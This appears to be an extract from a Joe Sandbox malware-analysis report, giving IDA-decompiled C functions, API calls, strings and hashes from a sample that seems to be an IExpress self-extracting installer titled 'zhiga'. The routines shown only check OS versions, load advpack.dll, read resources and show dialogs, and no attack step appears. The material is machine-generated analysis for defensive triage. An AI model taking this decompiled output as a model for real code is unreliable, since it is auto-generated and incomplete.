Opcode Fuzzy Hash: a6f7dd1c555538400af253b0db41396ff6613888a1520230ccc2f9a1ead0a835
Instruction Fuzzy Hash: A701B931B00118ABD7309B659C0CEDF7B7CDB55750F100159FA85D3184DA798A41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 010C36EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E010C36EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x10c8184 = 1;
						 *0x10c8180 = 1;
						L13:
						 *0x10c9a40 = _t119;
						L14:
						__eflags =  *0x10c8a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E010C2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E010C2A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x10c8a38 & 0x00000001;
											if(( *0x10c8a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("zhiga");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E010C681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "zhiga", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E010C67C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E010C28E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x10c9a40 = _t119;
						 *0x10c8184 = 1;
						 *0x10c8180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x10c9a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x10c8184 = _t135;
							 *0x10c8180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E010C44B9(0, _t138);
					L66:
					return E010C6CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x010c36f9
0x010c3700
0x010c370c
0x010c3716
0x010c3718
0x010c371b
0x010c3721
0x010c372b
0x010c373d
0x010c3745
0x010c3746
0x010c3746
0x010c3749
0x010c37ab
0x010c37ad
0x010c37ae
0x010c37b3
0x010c37b8
0x010c37b8
0x010c37bf
0x010c37bf
0x010c37c5
0x00000000
0x00000000
0x010c37cb
0x010c37cd
0x00000000
0x00000000
0x010c37d5
0x010c37db
0x010c37e8
0x010c37ea
0x010c37ea
0x010c37ea
0x010c37f0
0x010c37f6
0x010c3805
0x010c3817
0x010c382b
0x010c3830
0x010c3836
0x010c383b
0x010c383d
0x010c38eb
0x010c38eb
0x010c38f2
0x010c390c
0x010c3911
0x010c3911
0x010c3913
0x010c394d
0x010c394d
0x010c394f
0x010c38a9
0x010c38a9
0x010c38b0
0x010c38b2
0x010c38b9
0x010c38bb
0x010c38c1
0x010c3975
0x010c38c7
0x010c38de
0x010c38e0
0x010c38e0
0x010c397b
0x010c397d
0x010c39a9
0x010c397f
0x010c3982
0x010c398b
0x010c398d
0x010c398f
0x010c399f
0x010c39a1
0x010c3991
0x010c3991
0x010c3991
0x010c398f
0x010c39af
0x010c39b6
0x010c3a0f
0x010c3a0f
0x010c3a11
0x010c3a13
0x010c3a19
0x00000000
0x010c39b8
0x010c39b8
0x010c39ba
0x00000000
0x00000000
0x010c39bc
0x010c39bf
0x00000000
0x00000000
0x010c39c3
0x010c39c9
0x010c39ce
0x010c39d0
0x010c39e3
0x010c39e5
0x010c39e6
0x010c39f1
0x010c39f7
0x010c39fa
0x010c3a01
0x010c3a04
0x00000000
0x00000000
0x010c3a06
0x010c3a09
0x010c3a09
0x010c3a0b
0x010c3a0b
0x00000000
0x010c3a09
0x010c39fc
0x00000000
0x010c39fc
0x010c39d3
0x010c39d8
0x010c39da
0x00000000
0x00000000
0x00000000
0x010c39dc
0x010c39b6
0x010c3955
0x010c395b
0x00000000
0x00000000
0x010c3961
0x010c3963
0x00000000
0x00000000
0x010c3969
0x010c3969
0x00000000
0x010c3969
0x010c3915
0x010c3915
0x010c391b
0x010c391f
0x00000000
0x00000000
0x010c392d
0x010c3933
0x010c3938
0x010c393a
0x00000000
0x00000000
0x010c3940
0x010c3946
0x010c394b
0x00000000
0x010c394b
0x00000000
0x010c38f2
0x010c3843
0x010c3845
0x00000000
0x00000000
0x010c384b
0x010c384d
0x010c3883
0x010c3885
0x00000000
0x00000000
0x010c389a
0x010c389e
0x010c389e
0x00000000
0x00000000
0x010c38a0
0x010c38a0
0x010c38a2
0x00000000
0x00000000
0x010c38a4
0x00000000
0x010c38a4
0x010c384f
0x010c3851
0x010c3857
0x010c386e
0x010c3877
0x010c387b
0x00000000
0x00000000
0x00000000
0x010c3881
0x010c3859
0x010c385c
0x010c3862
0x010c3866
0x00000000
0x00000000
0x010c3868
0x00000000
0x010c38f4
0x010c38f4
0x010c38f5
0x010c38fb
0x010c3901
0x010c3901
0x00000000
0x010c390a
0x010c374b
0x010c374e
0x010c375c
0x010c3764
0x010c3769
0x010c376e
0x010c3771
0x010c379c
0x010c379f
0x00000000
0x00000000
0x010c37a3
0x010c37a4
0x00000000
0x010c37a4
0x010c3773
0x010c3777
0x010c3778
0x010c377f
0x010c3781
0x010c378e
0x010c378e
0x010c3794
0x00000000
0x010c3794
0x010c3783
0x00000000
0x00000000
0x010c3785
0x010c378c
0x00000000
0x00000000
0x00000000
0x010c378c
0x010c3750
0x00000000
0x010c372d
0x010c372d
0x010c396b
0x010c396b
0x010c396c
0x010c396e
0x010c396f
0x010c3a1e
0x010c3a1e
0x010c3a22
0x010c3a27
0x010c3a3e
0x010c3a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 010C3723
MessageBeep.USER32(00000000), ref: 010C39C3
MessageBoxA.USER32(00000000,00000000,zhiga,00000030), ref: 010C39F1

Strings

zhiga, xrefs: 010C39E9, 010C3A19
3, xrefs: 010C3785

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$zhiga
API String ID: 2519184315-2183486482
Opcode ID: 05fb130d9572896257e65e97236a30acac1ab042916923c061471cc3d0229601
Instruction ID: a5317139c453a682901e51776ec296d28f4afefbdfde0006dce0a10c4d38c7f8
Opcode Fuzzy Hash: 05fb130d9572896257e65e97236a30acac1ab042916923c061471cc3d0229601
Instruction Fuzzy Hash: 0191C271E212259FEBB58B19C9807EEB7E0FB85B04F0581EDD9CA9F281D73589808F41

Uniqueness

Uniqueness Score: -1.00%

Function 010C6495 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 41
libraryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E010C6495(void* __ebx, void* __ecx, void* __esi, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __edi;
				signed int _t9;
				signed char _t14;
				struct HINSTANCE__* _t15;
				void* _t18;
				CHAR* _t26;
				void* _t27;
				signed int _t28;

				_t27 = __esi;
				_t18 = __ebx;
				_t9 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t9 ^ _t28;
				_push(__ecx);
				E010C1781( &_v268, 0x104, __ecx, "C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
				_t26 = "advpack.dll";
				E010C658A( &_v268, 0x104, _t26);
				_t14 = GetFileAttributesA( &_v268);
				if(_t14 == 0xffffffff || (_t14 & 0x00000010) != 0) {
					_t15 = LoadLibraryA(_t26);
				} else {
					_t15 = LoadLibraryExA( &_v268, 0, 8);
				}
				return E010C6CE0(_t15, _t18, _v8 ^ _t28, 0x104, _t26, _t27);
			}

0x010c6495
0x010c6495
0x010c64a0
0x010c64a7
0x010c64ab
0x010c64bd
0x010c64c2
0x010c64d3
0x010c64df
0x010c64e8
0x010c6502
0x010c64ee
0x010c64f9
0x010c64f9
0x010c6516

APIs

GetFileAttributesA.KERNEL32(?,advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 010C64DF
LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 010C64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000000), ref: 010C6502

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C64AC
advpack.dll, xrefs: 010C64C2, 010C64CD, 010C6501

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$advpack.dll
API String ID: 438848745-2381869747
Opcode ID: c7eaee630fed5456735f18ac10031666d0dd745f86175a25c70e623f9ebd6cfe
Instruction ID: b324ee28ebb416e9515ee1f6581a79a3ab46061cae8f2e077cfe5d0155788814
Opcode Fuzzy Hash: c7eaee630fed5456735f18ac10031666d0dd745f86175a25c70e623f9ebd6cfe
Instruction Fuzzy Hash: BA01A230A001089FD7709B64D849AEE7778EBA4B10F60019DB9C5932C4DF76AA858F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C28E8 Relevance: 7.6, APIs: 5, Instructions: 140
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C28E8(intOrPtr __ecx, char* __edx, intOrPtr* _a8) {
				void* _v8;
				char* _v12;
				intOrPtr _v16;
				void* _v20;
				intOrPtr _v24;
				int _v28;
				int _v32;
				void* _v36;
				int _v40;
				void* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				long _t68;
				void* _t70;
				void* _t73;
				void* _t79;
				void* _t83;
				void* _t87;
				void* _t88;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr _t99;
				int _t101;
				void* _t103;
				void* _t106;
				void* _t109;
				void* _t110;

				_v12 = __edx;
				_t99 = __ecx;
				_t106 = 0;
				_v16 = __ecx;
				_t87 = 0;
				_t103 = 0;
				_v20 = 0;
				if( *((intOrPtr*)(__ecx + 0x7c)) <= 0) {
					L19:
					_t106 = 1;
				} else {
					_t62 = 0;
					_v8 = 0;
					while(1) {
						_v24 =  *((intOrPtr*)(_t99 + 0x80));
						if(E010C2773(_v12,  *((intOrPtr*)(_t62 + _t99 +  *((intOrPtr*)(_t99 + 0x80)) + 0xbc)) + _t99 + 0x84) == 0) {
							goto L20;
						}
						_t68 = GetFileVersionInfoSizeA(_v12,  &_v32);
						_v28 = _t68;
						if(_t68 == 0) {
							_t99 = _v16;
							_t70 = _v8 + _t99;
							_t93 = _v24;
							_t87 = _v20;
							if( *((intOrPtr*)(_t70 + _t93 + 0x84)) == _t106 &&  *((intOrPtr*)(_t70 + _t93 + 0x88)) == _t106) {
								goto L18;
							}
						} else {
							_t103 = GlobalAlloc(0x42, _t68);
							if(_t103 != 0) {
								_t73 = GlobalLock(_t103);
								_v36 = _t73;
								if(_t73 != 0) {
									if(GetFileVersionInfoA(_v12, _v32, _v28, _t73) == 0 || VerQueryValueA(_v36, "\\",  &_v44,  &_v40) == 0 || _v40 == 0) {
										L15:
										GlobalUnlock(_t103);
										_t99 = _v16;
										L18:
										_t87 = _t87 + 1;
										_t62 = _v8 + 0x3c;
										_v20 = _t87;
										_v8 = _v8 + 0x3c;
										if(_t87 <  *((intOrPtr*)(_t99 + 0x7c))) {
											continue;
										} else {
											goto L19;
										}
									} else {
										_t79 = _v44;
										_t88 = _t106;
										_v28 =  *((intOrPtr*)(_t79 + 0xc));
										_t101 = _v28;
										_v48 =  *((intOrPtr*)(_t79 + 8));
										_t83 = _v8 + _v16 + _v24 + 0x94;
										_t97 = _v48;
										_v36 = _t83;
										_t109 = _t83;
										do {
											 *((intOrPtr*)(_t110 + _t88 - 0x34)) = E010C2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 0x10)),  *((intOrPtr*)(_t109 - 0xc)));
											 *((intOrPtr*)(_t110 + _t88 - 0x3c)) = E010C2A89(_t97, _t101,  *((intOrPtr*)(_t109 - 4)),  *_t109);
											_t109 = _t109 + 0x18;
											_t88 = _t88 + 4;
										} while (_t88 < 8);
										_t87 = _v20;
										_t106 = 0;
										if(_v56 < 0 || _v64 > 0) {
											if(_v52 < _t106 || _v60 > _t106) {
												GlobalUnlock(_t103);
											} else {
												goto L15;
											}
										} else {
											goto L15;
										}
									}
								}
							}
						}
						goto L20;
					}
				}
				L20:
				 *_a8 = _t87;
				if(_t103 != 0) {
					GlobalFree(_t103);
				}
				return _t106;
			}

0x010c28f1
0x010c28f4
0x010c28f7
0x010c28f9
0x010c28fc
0x010c28ff
0x010c2901
0x010c2907
0x010c2a62
0x010c2a64
0x010c290d
0x010c290d
0x010c290f
0x010c2912
0x010c2920
0x010c2937
0x00000000
0x00000000
0x010c2944
0x010c294a
0x010c294f
0x010c2a2f
0x010c2a32
0x010c2a34
0x010c2a37
0x010c2a41
0x00000000
0x00000000
0x010c2955
0x010c295e
0x010c2962
0x010c2969
0x010c296f
0x010c2974
0x010c298c
0x010c2a20
0x010c2a21
0x010c2a27
0x010c2a4c
0x010c2a4f
0x010c2a50
0x010c2a53
0x010c2a56
0x010c2a5c
0x00000000
0x00000000
0x00000000
0x00000000
0x010c29b2
0x010c29b2
0x010c29b5
0x010c29bd
0x010c29c3
0x010c29cc
0x010c29d5
0x010c29d7
0x010c29da
0x010c29dd
0x010c29df
0x010c29ec
0x010c29f8
0x010c29fc
0x010c29ff
0x010c2a02
0x010c2a07
0x010c2a0a
0x010c2a0f
0x010c2a19
0x010c2a81
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x010c2a0f
0x010c298c
0x010c2974
0x010c2962
0x00000000
0x010c294f
0x010c2912
0x010c2a65
0x010c2a68
0x010c2a6c
0x010c2a6f
0x010c2a6f
0x010c2a7d

APIs

GlobalFree.KERNEL32 ref: 010C2A6F

Part of subcall function 010C2773: CharUpperA.USER32(4B13CF70,00000000,00000000,00000000), ref: 010C27A8
Part of subcall function 010C2773: CharNextA.USER32(0000054D), ref: 010C27B5
Part of subcall function 010C2773: CharNextA.USER32(00000000), ref: 010C27BC
Part of subcall function 010C2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2829
Part of subcall function 010C2773: RegQueryValueExA.ADVAPI32(?,010C1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2852
Part of subcall function 010C2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C2870
Part of subcall function 010C2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010C28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,010C3938,?,?,?,?,-00000005), ref: 010C2958
GlobalLock.KERNEL32 ref: 010C2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,010C3938,?,?,?,?,-00000005,?), ref: 010C2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 010C2A81

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 8dfced75566adba94798dd926fb997af106f76f8a6a7b350505fcd594126cbbf
Instruction ID: 2e9ea8abf702e535e6095eecf1a111e314a110f3e4b37a403b89acbb7c36d1b3
Opcode Fuzzy Hash: 8dfced75566adba94798dd926fb997af106f76f8a6a7b350505fcd594126cbbf
Instruction Fuzzy Hash: 36512731A0021AEFDB21CF9DC884AAEBBB5FF48B10F14416EE985E3651DB359941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 010C4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E010C4169(void* __eflags) {
				int _t18;
				void* _t21;

				_t20 = E010C468F("FINISHMSG", 0, 0);
				_t21 = LocalAlloc(0x40, 4 + _t3 * 4);
				if(_t21 != 0) {
					if(E010C468F("FINISHMSG", _t21, _t20) != 0) {
						if(lstrcmpA(_t21, "<None>") == 0) {
							L7:
							return LocalFree(_t21);
						}
						_push(0);
						_push(0x40);
						_push(0);
						_push(_t21);
						_t18 = 0x3e9;
						L6:
						E010C44B9(0, _t18);
						goto L7;
					}
					_push(0);
					_push(0x10);
					_push(0);
					_push(0);
					_t18 = 0x4b1;
					goto L6;
				}
				return E010C44B9(0, 0x4b5, 0, 0, 0x10, 0);
			}

0x010c417d
0x010c418f
0x010c4193
0x010c41b7
0x010c41d3
0x010c41e6
0x00000000
0x010c41e7
0x010c41d5
0x010c41d6
0x010c41d8
0x010c41d9
0x010c41da
0x010c41df
0x010c41e1
0x00000000
0x010c41e1
0x010c41b9
0x010c41ba
0x010c41bc
0x010c41bd
0x010c41be
0x00000000
0x010c41be
0x00000000

APIs

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,010C30B4), ref: 010C4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,010C30B4), ref: 010C41E7

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Strings

<None>, xrefs: 010C41C5
FINISHMSG, xrefs: 010C4173, 010C41AB

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: 30bc9f99feb7488ef3751e3647d9716176f4530d8b59f3e0c5ef48c5c8442417
Instruction ID: 2e4018577d0278d51eb9c27192e39ecc834dca5695a4e42084bbe37c39b52599
Opcode Fuzzy Hash: 30bc9f99feb7488ef3751e3647d9716176f4530d8b59f3e0c5ef48c5c8442417
Instruction Fuzzy Hash: 1F01DBB1700218AFF32517698CA4FAF658EEBD8E94F10402DBBC2E21849E68CC010AA4

Uniqueness

Uniqueness Score: -1.00%

Function 010C19E0 Relevance: 7.6, APIs: 5, Instructions: 51
windowCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E010C19E0(void* __ebx, void* __edi, struct HWND__* _a4, intOrPtr _a8, int _a12, int _a16) {
				signed int _v8;
				char _v520;
				void* __esi;
				signed int _t11;
				void* _t14;
				void* _t23;
				void* _t27;
				void* _t33;
				struct HWND__* _t34;
				signed int _t35;

				_t33 = __edi;
				_t27 = __ebx;
				_t11 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t11 ^ _t35;
				_t34 = _a4;
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t32 = GetDesktopWindow();
					E010C43D0(_t34, _t15);
					_v520 = 0;
					LoadStringA( *0x10c9a3c, _a16,  &_v520, 0x200);
					SetDlgItemTextA(_t34, 0x83f,  &_v520);
					MessageBeep(0xffffffff);
					goto L6;
				} else {
					if(_t14 != 1) {
						L4:
						_t23 = 0;
					} else {
						_t32 = _a12;
						if(_t32 - 0x83d > 1) {
							goto L4;
						} else {
							EndDialog(_t34, _t32);
							L6:
							_t23 = 1;
						}
					}
				}
				return E010C6CE0(_t23, _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x010c19e0
0x010c19e0
0x010c19eb
0x010c19f2
0x010c19f9
0x010c19fc
0x010c1a01
0x010c1a2a
0x010c1a2e
0x010c1a3e
0x010c1a4f
0x010c1a62
0x010c1a6a
0x00000000
0x010c1a03
0x010c1a06
0x010c1a20
0x010c1a20
0x010c1a08
0x010c1a08
0x010c1a14
0x00000000
0x010c1a16
0x010c1a18
0x010c1a70
0x010c1a72
0x010c1a72
0x010c1a14
0x010c1a06
0x010c1a81

APIs

EndDialog.USER32(?,?), ref: 010C1A18
GetDesktopWindow.USER32 ref: 010C1A24
LoadStringA.USER32(?,?,00000200), ref: 010C1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 010C1A62
MessageBeep.USER32(000000FF), ref: 010C1A6A

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
